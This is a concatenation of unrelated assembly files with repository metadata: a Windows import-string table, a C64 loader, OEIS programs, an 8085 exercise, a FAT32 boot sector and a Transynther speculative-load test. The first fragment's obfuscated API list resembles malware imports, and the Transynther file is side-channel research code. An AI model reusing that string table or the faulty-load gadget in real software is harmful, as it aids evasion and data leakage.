"user32.dll\x0" .byte 117,115,101,114,51,50,46,100,108,108,0 _$275: ; "/*@S|*/00toupper|01_sleep|02sprintf|03atoi|04free|05malloc|06memcmp|07memcpy|08memset|09rand|10srand|11strcat|12vsprintf|13wcslen/*@E*/|\x0" .byte 47,42,64,83,124,42,47,48,48,116,111,117,112,112,101,114 .byte 124,48,49,95,115,108,101,101,112,124,48,50,115,112,114 .byte 105,110,116,102,124,48,51,97,116,111,105,124,48,52,102 .byte 114,101,101,124,48,53,109,97,108,108,111,99,124,48,54 .byte 109,101,109,99,109,112,124,48,55,109,101,109,99,112,121 .byte 124,48,56,109,101,109,115,101,116,124,48,57,114,97,110 .byte 100,124,49,48,115,114,97,110,100,124,49,49,115,116,114 .byte 99,97,116,124,49,50,118,115,112,114,105,110,116,102,124 .byte 49,51,119,99,115,108,101,110,47,42,64,69,42,47,124 .byte 0 _$268: ; "crtdll.dll\x0" .byte 99,114,116,100,108,108,46,100,108,108,0 _$265: ; "/*@S|*/00OpenMutexA|01CloseHandle|02ExitThread|03CreateFileA|04DeleteFileA|05SetFilePointer|06WriteFile|07GetFileSize|08lstrlenW|09WinExec|10WideCharToMultiByte|11MultiByteToWideChar|12GetTempPathA|13ReadFile|14VirtualAlloc|15VirtualFree|16LocalAlloc|17LocalFree|18GetSystemTime|19RtlZeroMemory|20FindFirstFileA|21FindNextFileA|22FindClose|23GetDriveTypeA|24GetExitCodeThread|25SetErrorMode|26GetDiskFreeSpaceA|27CopyFileA|28CreateMutexA|29GetModuleFileNameA|30GetSystemDirectoryA|31InterlockedIncrement|32InterlockedDecrement|33GetVolumeInformationA|34CompareFileTime|35FileTimeToSystemTime|36GetVersionExA|37GetLocaleInfoA|38OpenProcess|39GetCurrentProcessId|40GetCurrentThreadId|41FreeEnvironmentStringsA|42GetEnvironmentStringsA|43GetComputerNameA|44WaitForSingleObject|45FreeLibrary|46CreateDirectoryA|47PeekNamedPipe|48CreatePipe|49CreateProcessA|50GetExitCodeProcess|51IsBadStringPtrW|52TerminateThread|53CreateToolhelp32Snapshot|54Process32First|55Process32Next|56TerminateProcess|57lstrlenA|58IsBadReadPtr|59OutputDebugStringA|60lstrcatA/*@E*/|\x0" .byte 47,42,64,83,124,42,47,48,48,79,112,101,110,77,117,116 .byte 101,120,65,124,48,49,67,108,111,115,101,72,97,110,100 .byte 108,101,124,48,50,69,120,105,116,84,104,114,101,97,100 .byte 124,48,51,67,114,101,97,116,101,70,105,108,101,65,124 .byte 48,52,68,101,108,101,116,101,70,105,108,101,65,124,48 .byte 53,83,101,116,70,105,108,101,80,111,105,110,116,101,114 .byte 124,48,54,87,114,105,116,101,70,105,108,101,124,48,55 .byte 71,101,116,70,105,108,101,83,105,122,101,124,48,56,108 .byte 115,116,114,108,101,110,87,124,48,57,87,105,110,69,120 .byte 101,99,124,49,48,87,105,100,101,67,104,97,114,84,111 .byte 77,117,108,116,105,66,121,116,101,124,49,49,77,117,108 .byte 116,105,66,121,116,101,84,111,87,105,100,101,67,104,97 .byte 114,124,49,50,71,101,116,84,101,109,112,80,97,116,104 .byte 65,124,49,51,82,101,97,100,70,105,108,101,124,49,52 .byte 86,105,114,116,117,97,108,65,108,108,111,99,124,49,53 .byte 86,105,114,116,117,97,108,70,114,101,101,124,49,54,76 .byte 111,99,97,108,65,108,108,111,99,124,49,55,76,111,99 .byte 97,108,70,114,101,101,124,49,56,71,101,116,83,121,115 .byte 116,101,109,84,105,109,101,124,49,57,82,116,108,90,101 .byte 114,111,77,101,109,111,114,121,124,50,48,70,105,110,100 .byte 70,105,114,115,116,70,105,108,101,65,124,50,49,70,105 .byte 110,100,78,101,120,116,70,105,108,101,65,124,50,50,70 .byte 105,110,100,67,108,111,115,101,124,50,51,71,101,116,68 .byte 114,105,118,101,84,121,112,101,65,124,50,52,71,101,116 .byte 69,120,105,116,67,111,100,101,84,104,114,101,97,100,124 .byte 50,53,83,101,116,69,114,114,111,114,77,111,100,101,124 .byte 50,54,71,101,116,68,105,115,107,70,114,101,101,83,112 .byte 97,99,101,65,124,50,55,67,111,112,121,70,105,108,101 .byte 65,124,50,56,67,114,101,97,116,101,77,117,116,101,120 .byte 65,124,50,57,71,101,116,77,111,100,117,108,101,70,105 .byte 108,101,78,97,109,101,65,124,51,48,71,101,116,83,121 .byte 115,116,101,109,68,105,114,101,99,116,111,114,121,65,124 .byte 51,49,73,110,116,101,114,108,111,99,107,101,100,73,110 .byte 99,114,101,109,101,110,116,124,51,50,73,110,116,101,114 .byte 108,111,99,107,101,100,68,101,99,114,101,109,101,110,116 .byte 124,51,51,71,101,116,86,111,108,117,109,101,73,110,102 .byte 111,114,109,97,116,105,111,110,65,124,51,52,67,111,109 .byte 112,97,114,101,70,105,108,101,84,105,109,101,124,51,53 .byte 70,105,108,101,84,105,109,101,84,111,83,121,115,116,101 .byte 109,84,105,109,101,124,51,54,71,101,116,86,101,114,115 .byte 105,111,110,69,120,65,124,51,55,71,101,116,76,111,99 .byte 97,108,101,73,110,102,111,65,124,51,56,79,112,101,110 .byte 80,114,111,99,101,115,115,124,51,57,71,101,116,67,117 .byte 114,114,101,110,116,80,114,111,99,101,115,115,73,100,124 .byte 52,48,71,101,116,67,117,114,114,101,110,116,84,104,114 .byte 101,97,100,73,100,124,52,49,70,114,101,101,69,110,118 .byte 105,114,111,110,109,101,110,116,83,116,114,105,110,103,115 .byte 65,124,52,50,71,101,116,69,110,118,105,114,111,110,109 .byte 101,110,116,83,116,114,105,110,103,115,65,124,52,51,71 .byte 101,116,67,111,109,112,117,116,101,114,78,97,109,101,65 .byte 124,52,52,87,97,105,116,70,111,114,83,105,110,103,108 .byte 101,79,98,106,101,99,116,124,52,53,70,114,101,101,76 .byte 105,98,114,97,114,121,124,52,54,67,114,101,97,116,101 .byte 68,105,114,101,99,116,111,114,121,65,124,52,55,80,101 .byte 101,107,78,97,109,101,100,80,105,112,101,124,52,56,67 .byte 114,101,97,116,101,80,105,112,101,124,52,57,67,114,101 .byte 97,116,101,80,114,111,99,101,115,115,65,124,53,48,71 .byte 101,116,69,120,105,116,67,111,100,101,80,114,111,99,101 .byte 115,115,124,53,49,73,115,66,97,100,83,116,114,105,110 .byte 103,80,116,114,87,124,53,50,84,101,114,109,105,110,97 .byte 116,101,84,104,114,101,97,100,124,53,51,67,114,101,97 .byte 116,101,84,111,111,108,104,101,108,112,51,50,83,110,97 .byte 112,115,104,111,116,124,53,52,80,114,111,99,101,115,115 .byte 51,50,70,105,114,115,116,124,53,53,80,114,111,99,101 .byte 115,115,51,50,78,101,120,116,124,53,54,84,101,114,109 .byte 105,110,97,116,101,80,114,111,99,101,115,115,124,53,55 .byte 108,115,116,114,108,101,110,65,124,53,56,73,115,66,97 .byte 100,82,101,97,100,80,116,114,124,53,57,79,117,116,112 .byte 117,116,68,101,98,117,103,83,116,114,105,110,103,65,124 .byte 54,48,108,115,116,114,99,97,116,65,47,42,64,69,42 .byte 47,124,0 _$262: ; "/*@S|*/00GetModuleHandleA|01LoadLibraryA/*@E*/|\x0" .byte 47,42,64,83,124,42,47,48,48,71,101,116,77,111,100,117 .byte 108,101,72,97,110,100,108,101,65,124,48,49,76,111,97 .byte 100,76,105,98,114,97,114,121,65,47,42,64,69,42,47 .byte 124,0 _$131: ; "://\x0" .byte 58,47,47,0
18.342642
1,060
0.660341
63723c22143f07470fa757979453fb9769e654b7
1,182
asm
Assembly
Framework/trackmo/framework/partlauncher.asm
kosmonautdnb/TheLandsOfZador
66c9e8ab92f617838afe793a6c9ddaaf7273aadc
[ "MIT" ]
null
null
null
Framework/trackmo/framework/partlauncher.asm
kosmonautdnb/TheLandsOfZador
66c9e8ab92f617838afe793a6c9ddaaf7273aadc
[ "MIT" ]
null
null
null
Framework/trackmo/framework/partlauncher.asm
kosmonautdnb/TheLandsOfZador
66c9e8ab92f617838afe793a6c9ddaaf7273aadc
[ "MIT" ]
null
null
null
launchpart SUBROUTINE ; ; ; quelle ; clc ; lda load_start ; sta .reloc_addr1+1 ; sta .reloc_addr2+1 ; adc #$02 ; sta .copysrc+1 ; lda load_start+1 ; sta .reloc_addr1+2 ; sta .reloc_addr2+2 ; adc #$00 ; sta .copysrc+2 ; ; ; ziel mit "safety-offset", exomizer will das so ; ldx #$00 ; sec ;.reloc_addr1 ; lda $1234,x ; sta .runpart+1 ; sbc #SAFETY_OFFSET ; sta .copydst+1 ; inx ;.reloc_addr2 ; lda $1234,x ; sta .runpart+2 ; sbc #$00 ; sta .copydst+2 ; ; ; endmarke, exomizer nimmt das zum decrunchen ; sec ; lda load_end ; sbc load_start ; sta .decrunch_lo+1 ; lda load_end+1 ; sbc load_start+1 ; sta .decrunch_hi+1 ; ; clc ; lda .decrunch_lo+1 ; adc .copydst+1 ; sta .decrunch_lo+1 ; lda .decrunch_hi+1 ; adc .copydst+2 ; sta .decrunch_hi+1 ; ; sec ; lda .decrunch_lo+1 ; sbc #$02 ; sta .decrunch_lo+1 ; lda .decrunch_hi+1 ; sbc #$00 ; sta .decrunch_hi+1 ; ; lda .decrunch_hi ; clc ; adc #$01 ; sta .copylen+1 ; ; ; ldy #$00 ;.0 ;.copysrc ; lda $2000,y ;.copydst ; sta $1000,y ; iny ; bne .0 ; inc .copysrc+2 ; inc .copydst+2 ; lda .copydst+2 ;.copylen ; cmp #$00 ; bne .0 ; ; ;.decrunch_lo ; ldx #$00 ;.decrunch_hi ; ldy #$00 ; jsr decrunch ; ;.runpart ; jmp $1ffd
13.280899
50
0.641286
eaba468684ce0ac28305608de57f55d625906a1e
364
asm
Assembly
oeis/021/A021446.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/021/A021446.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/021/A021446.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A021446: Decimal expansion of 1/442. ; Submitted by Jamie Morken(m2) ; 0,0,2,2,6,2,4,4,3,4,3,8,9,1,4,0,2,7,1,4,9,3,2,1,2,6,6,9,6,8,3,2,5,7,9,1,8,5,5,2,0,3,6,1,9,9,0,9,5,0,2,2,6,2,4,4,3,4,3,8,9,1,4,0,2,7,1,4,9,3,2,1,2,6,6,9,6,8,3,2,5,7,9,1,8,5,5,2,0,3,6,1,9,9,0,9,5,0,2 seq $0,83811 ; Numbers n such that 2n+1 is the digit reversal of n+1. div $0,1768 mod $0,10
45.5
199
0.593407
0689e7f3863d981fdd9076f7f347b69c6510108e
340
asm
Assembly
programs/oeis/198/A198586.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/198/A198586.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/198/A198586.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A198586: a(n) = (4^A001651(n+1) - 1)/3: numbers (4^k-1)/3 for k > 1, not multiples of 3. ; 5,85,341,5461,21845,349525,1398101,22369621,89478485,1431655765,5726623061,91625968981,366503875925,5864062014805,23456248059221,375299968947541,1501199875790165 mov $2,$0 add $0,2 mul $0,2 add $0,$2 lpb $0,1 mul $1,4 sub $0,2 add $1,1 lpe
26.153846
163
0.705882
04c319122691f660d3a2cf6326b922f7f637e0d5
1,248
asm
Assembly
even-odd-transfer-from-array-of-data.asm
Soumya-Dey/8085-asm-programs
d5f34c2f5036b18ebee306c58580edd3f89d837f
[ "MIT" ]
null
null
null
even-odd-transfer-from-array-of-data.asm
Soumya-Dey/8085-asm-programs
d5f34c2f5036b18ebee306c58580edd3f89d837f
[ "MIT" ]
null
null
null
even-odd-transfer-from-array-of-data.asm
Soumya-Dey/8085-asm-programs
d5f34c2f5036b18ebee306c58580edd3f89d837f
[ "MIT" ]
1
2021-01-11T11:59:51.000Z
2021-01-11T11:59:51.000Z
;Program title --------- ;An array of n hexadecimal data is given. ;Transfer all even data in a separate location ;and all odd data in another separate location ;in forward order (same as the original). ;Store 00 at the end of both of locations. ;|- Input -----------------|- Output -----|--------------| ;| f100 => 0A ;counter |- Even Data --|- Odd Data ---| ;| f101 => 01 ;1st data | f120 => 02 | f130 => 01 | ;| f102 => 02 | f121 => 04 | f131 => 03 | ;| f103 => 03 | f122 => 06 | f132 => 05 | ;| f104 => 04 | f123 => 08 | f133 => 07 | ;| f105 => 05 | f124 => 0A | f134 => 09 | ;| f106 => 06 | f125 => 00 | f135 => 00 | ;| f107 => 07 | | ;| f108 => 08 | | ;| f109 => 09 | | ;| f10A => 0A ;last data | | ;|-------------------------|-----------------------------| ;Source code ----- lxi h, f100h lxi d, f120h lxi b, f130h mov a, m sta f400h nozero: inx h mov a, m rrc mov a, m jnc even stax b inx b jump: lda f400h dcr a sta f400h jnz nozero xra a stax d stax b hlt even: stax d inx d jmp jump
25.469388
58
0.423077
420ec0c5c09a5d1bef8aa47e257b56aca3154f62
7,251
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1841.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1841.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1841.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r15 push %r8 push %r9 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x13f0b, %r15 nop nop nop add $9892, %rdx mov (%r15), %rsi nop nop nop sub $18306, %rdx lea addresses_UC_ht+0x18b0b, %r12 nop nop nop nop nop inc %r9 mov (%r12), %r8w nop nop nop dec %r12 lea addresses_A_ht+0x1707f, %r9 nop nop and %rbx, %rbx mov $0x6162636465666768, %r8 movq %r8, (%r9) nop nop and $24774, %rsi lea addresses_UC_ht+0x5f4d, %rsi lea addresses_D_ht+0x270b, %rdi nop nop xor $15484, %r8 mov $13, %rcx rep movsq nop nop nop sub %rdi, %rdi lea addresses_normal_ht+0xe18b, %rsi lea addresses_UC_ht+0x150ab, %rdi nop sub $45900, %rbx mov $43, %rcx rep movsq nop dec %r12 lea addresses_WT_ht+0xa3f5, %rdx nop nop nop nop sub $5311, %rsi movb $0x61, (%rdx) nop nop nop nop nop and %rdx, %rdx lea addresses_A_ht+0x290b, %rsi nop nop add %rbx, %rbx mov (%rsi), %cx nop nop nop nop nop xor $48771, %rcx lea addresses_UC_ht+0xab0b, %r15 nop inc %rbx mov $0x6162636465666768, %rcx movq %rcx, %xmm4 vmovups %ymm4, (%r15) nop nop nop xor $61859, %rbx lea addresses_WC_ht+0x13f0b, %rsi lea addresses_normal_ht+0x10f4b, %rdi nop cmp $38545, %r12 mov $22, %rcx rep movsl nop nop nop nop xor %r12, %r12 lea addresses_normal_ht+0x1538b, %rdx nop inc %rcx mov $0x6162636465666768, %r12 movq %r12, %xmm6 and $0xffffffffffffffc0, %rdx movntdq %xmm6, (%rdx) add $5897, %rbx lea addresses_WC_ht+0x1cbcb, %rsi nop and $22987, %r8 mov (%rsi), %ecx nop nop inc %rcx lea addresses_WC_ht+0x580b, %rsi lea addresses_UC_ht+0xdfab, %rdi nop nop nop nop add %r8, %r8 mov $49, %rcx rep movsw nop nop nop and %rdi, %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r9 pop %r8 pop %r15 pop %r12 ret .global s_faulty_load s_faulty_load: push %r13 push %r15 push %rbp push %rbx push %rdx push %rsi // Store lea addresses_normal+0x16f8b, %rsi inc %r13 mov $0x5152535455565758, %rbx movq %rbx, (%rsi) nop nop nop nop sub $14432, %rsi // Faulty Load lea addresses_RW+0x1f0b, %r13 nop nop nop sub $1526, %r15 mov (%r13), %rsi lea oracles, %rdx and $0xff, %rsi shlq $12, %rsi mov (%rdx,%rsi,1), %rsi pop %rsi pop %rdx pop %rbx pop %rbp pop %r15 pop %r13 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_normal', 'size': 8, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False}} {'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}} {'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': True, 'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False}} {'src': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False}} {'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': True, 'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False}} {'src': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
34.860577
2,999
0.659219
7d6e367e76d401904dcfa57a0f317b874a9ede9e
4,230
asm
Assembly
src/tfdisk/hdbt32.asm
neri/osz
d1766e2f5daabd5914a80b838c0219f330a0d0af
[ "MIT" ]
7
2017-01-11T17:13:10.000Z
2022-02-17T06:40:50.000Z
src/tfdisk/hdbt32.asm
neri/osz
d1766e2f5daabd5914a80b838c0219f330a0d0af
[ "MIT" ]
null
null
null
src/tfdisk/hdbt32.asm
neri/osz
d1766e2f5daabd5914a80b838c0219f330a0d0af
[ "MIT" ]
1
2019-06-24T09:49:43.000Z
2019-06-24T09:49:43.000Z
;; ;; MEG-OS Boot Sector for FAT32 (beta) ;; ;; Copyright (c) 1998-2013, MEG-OS project ;; All rights reserved. ;; ;; Redistribution and use in source and binary forms, with or without modification, ;; are permitted provided that the following conditions are met: ;; ;; * Redistributions of source code must retain the above copyright notice, this ;; list of conditions and the following disclaimer. ;; ;; * Redistributions in binary form must reproduce the above copyright notice, this ;; list of conditions and the following disclaimer in the documentation and/or ;; other materials provided with the distribution. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ;; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED ;; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ;; ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES ;; (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; ;; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ;; ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ;; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS ;; SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;; ;; TODO: Fragmented [bits 16] [org 0x7C00] _HEAD: jmp short main nop db "FAT32MEG" _BPB_BYTES_PAR_SECTOR dw 0x0200 _BPB_SECTORS_PAR_CLUSTER db 0x00 _BPB_RESERVED_SECTORS dw 0x0000 db 0x00 dw 0x0000 dw 0x0000 db 0xF8 dw 0x0000 dw 0x0000 dw 0x0000 _BPB_HIDDEN_SECTORS dd 0x00000000 _BPB_TOTAL_SECTORS dd 0x00000000 _BPB_SECTORS_PAR_FAT dd 0x00000000 dw 0x0000 dw 0x0000 _BPB_ROOT_DIR_RECORD dd 0x00000002 _BPB_FSINFO_SECTOR dw 0x0001 _BPB_IPL_COPY_SECTOR dw 0x0006 resw 6 current_drive db 0x80 db 0x00 db 0x29 dd 0xFFFFFFFF ;; 123456789AB db "NO NAME " db "FAT32 " main: xor di, di mov ds, di mov es, di mov ss, di mov sp, 0x7C00 mov [current_drive], dl movzx eax, word [_BPB_RESERVED_SECTORS] mov ecx, [_BPB_SECTORS_PAR_FAT] lea ecx, [eax+ecx*2] mov [fat2], ecx ;; Read next part %if 0 movzx eax, word [_BPB_IPL_COPY_SECTOR] add eax, eax mov ebx, _next push ebx call read_sector retf %endif ;; Read a Root DIR mov eax, [_BPB_ROOT_DIR_RECORD] mov bx, 0x8000 mov di, bx call read_record ;; Find the system movzx ecx, word [_BPB_BYTES_PAR_SECTOR] movzx edx, byte [_BPB_SECTORS_PAR_CLUSTER] imul ecx, edx shr ecx, 5 .loop: cmp byte [di], 0 jz short .not_found push cx mov cx, 11 mov si, sysname rep cmpsb pop cx jz short .found or di, byte 0x001F inc di loop .loop .not_found: mov si, nosystem_msg jmp errhalt ;; Load the system .found: and di, byte 0xE0 mov eax, [di+0x1C] movzx ecx, word [_BPB_BYTES_PAR_SECTOR] movzx edx, byte [_BPB_SECTORS_PAR_CLUSTER] imul ecx, edx lea edx, [ecx-1] add eax, edx xor edx, edx div ecx xchg eax, ecx push word [di+0x14] push word [di+0x1A] pop eax push word 0x1000 pop es xor bx, bx push es push bx call read_multi_record ;; Jump to the system mov ax, 0x1eaf ; IPL signature mov ch, [current_drive] mov cl, 0x01 _retf: retf diskioerr: mov si, diskioerr_msg errhalt: lodsb or al, al jz ehle mov ah, 0x0E int 0x10 jmp errhalt ehle: xor ax, ax int 0x16 int 0x19 read_record: mov cx, 1 read_multi_record: sub eax, byte 2 movzx edx, byte [_BPB_SECTORS_PAR_CLUSTER] imul eax, edx add eax, [fat2] imul cx, dx jmp short read_multi_sector read_sector: mov cx, 1 read_multi_sector: push esi add eax, [_BPB_HIDDEN_SECTORS] push ss push ss push eax push es push bx push byte 0x0001 push byte 0x0010 mov si, sp .loop: push cx mov ah, 0x42 mov dl, [current_drive] int 0x13 pop cx jc short diskioerr mov bx, [_BPB_BYTES_PAR_SECTOR] shr bx, 4 add [si+0x06], bx inc dword [si+0x08] loop .loop add sp, byte 0x10 pop esi ret ;; Variables alignb 4 fat2 dd 0x0000 ;; FILENAMEEXT sysname db "KERNEL SYS" nosystem_msg db "MISSING OS", 13, 10, 0 diskioerr_msg db "I/O ERROR", 13, 10, 0 times 001FEh-($-$$) db 0 db 055h, 0AAh
19.40367
83
0.731678
f577beae5e61581b6e99686d659de281eef00393
248
asm
Assembly
test/test64.asm
bormand/blankvm
b8105a5b5f6e56669971cf73bd1f17ceb5b2d881
[ "MIT" ]
1
2020-09-30T07:03:19.000Z
2020-09-30T07:03:19.000Z
test/test64.asm
bormand/blankvm
b8105a5b5f6e56669971cf73bd1f17ceb5b2d881
[ "MIT" ]
null
null
null
test/test64.asm
bormand/blankvm
b8105a5b5f6e56669971cf73bd1f17ceb5b2d881
[ "MIT" ]
null
null
null
bits 64 mov dx, 03F8h mov rsi, hello out_loop: mov al, [rsi] test al, al jz echo_loop out dx, al inc rsi jmp out_loop echo_loop: in al, dx out dx, al jmp echo_loop hello: db "Hello, world!", 10, 0
12.4
29
0.564516
343041efb47be971f1a70f033fff2e57065f306f
2,226
asm
Assembly
boards/boards_c64.asm
peter-mount/departures8bit
cb0cd95503c9d0872d1cfaf3579c6f7c9ece282f
[ "Apache-2.0" ]
null
null
null
boards/boards_c64.asm
peter-mount/departures8bit
cb0cd95503c9d0872d1cfaf3579c6f7c9ece282f
[ "Apache-2.0" ]
null
null
null
boards/boards_c64.asm
peter-mount/departures8bit
cb0cd95503c9d0872d1cfaf3579c6f7c9ece282f
[ "Apache-2.0" ]
null
null
null
